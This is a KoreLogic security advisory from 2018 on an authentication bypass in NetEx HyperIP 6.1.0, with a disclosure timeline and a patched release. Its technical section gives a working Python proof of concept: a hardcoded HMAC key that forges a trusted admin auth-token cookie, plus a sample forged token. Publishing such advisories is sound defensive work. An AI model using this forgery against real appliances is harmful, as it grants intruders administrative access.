NetEx HyperIP 6.1.0 Authentication Bypass

`KL-001-2018-002 : NetEx HyperIP Authentication Bypass  
  
Title: NetEx HyperIP Authentication Bypass  
Advisory ID: KL-001-2018-002  
Publication Date: 2018.02.08  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-002.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: NetEx  
Affected Product: HyperIP  
Affected Version: 6.1.0  
Platform: Embedded Linux  
CWE Classification: CWE-592: Authentication Bypass Issues  
Impact: Authentication Bypass  
Attack vector: HTTPS  
  
2. Vulnerability Description  
  
Authentication for the management application can be bypassed  
by recreating the algorithm used to create predictable valid  
cookies.  
  
3. Technical Description  
  
Authentication can be bypassed using the function below.  
  
>>> from hashlib import md5  
>>> from hmac import new  
>>> def bypass_auth(user,srcip):  
... key = new('$#^Sub/s$',user+srcip,md5).hexdigest()  
... token = new(key,user+srcip,md5).hexdigest()  
... return token  
...  
  
The attacker first creates a cookie token.  
  
>>> print bypass_auth('hipadmin','[redacted]')  
b6b73844ce4df64f459948c5475a1096  
  
Then the attacker can submit requests containing that value as  
the auth-token cookie, which will be trusted by the application.  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has released version 6.1.1 of HyperIP, which they state  
addresses this vulnerability.  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2017.07.24 - KoreLogic submits vulnerability details to NetEx.  
2017.07.24 - NetEx confirms receipt.  
2017.08.16 - NetEx informs KoreLogic that this and other reported  
vulnerabilities have been addressed in the forthcoming  
release. ETA as of yet undetermined.  
2017.09.05 - 30 business days have elapsed since the vulnerability  
was reported to NetEx.  
2017.09.19 - NetEx informs KoreLogic that the forthcoming release  
6.1.1 is expected to ship at the end of January 2018.  
2017.09.26 - 45 business days have elapsed since the vulnerability  
was reported to NetEx.  
2017.12.01 - 90 business days have elapsed since the vulnerability  
was reported to NetEx.  
2018.01.17 - 120 business days have elapsed since the vulnerability  
was reported to NetEx.  
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release  
has gone live.  
2018.02.08 - KoreLogic public disclosure.  
  
7. Proof of Concept  
  
See 3. Technical Description.  
  
  
The contents of this advisory are copyright(c) 2018  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
`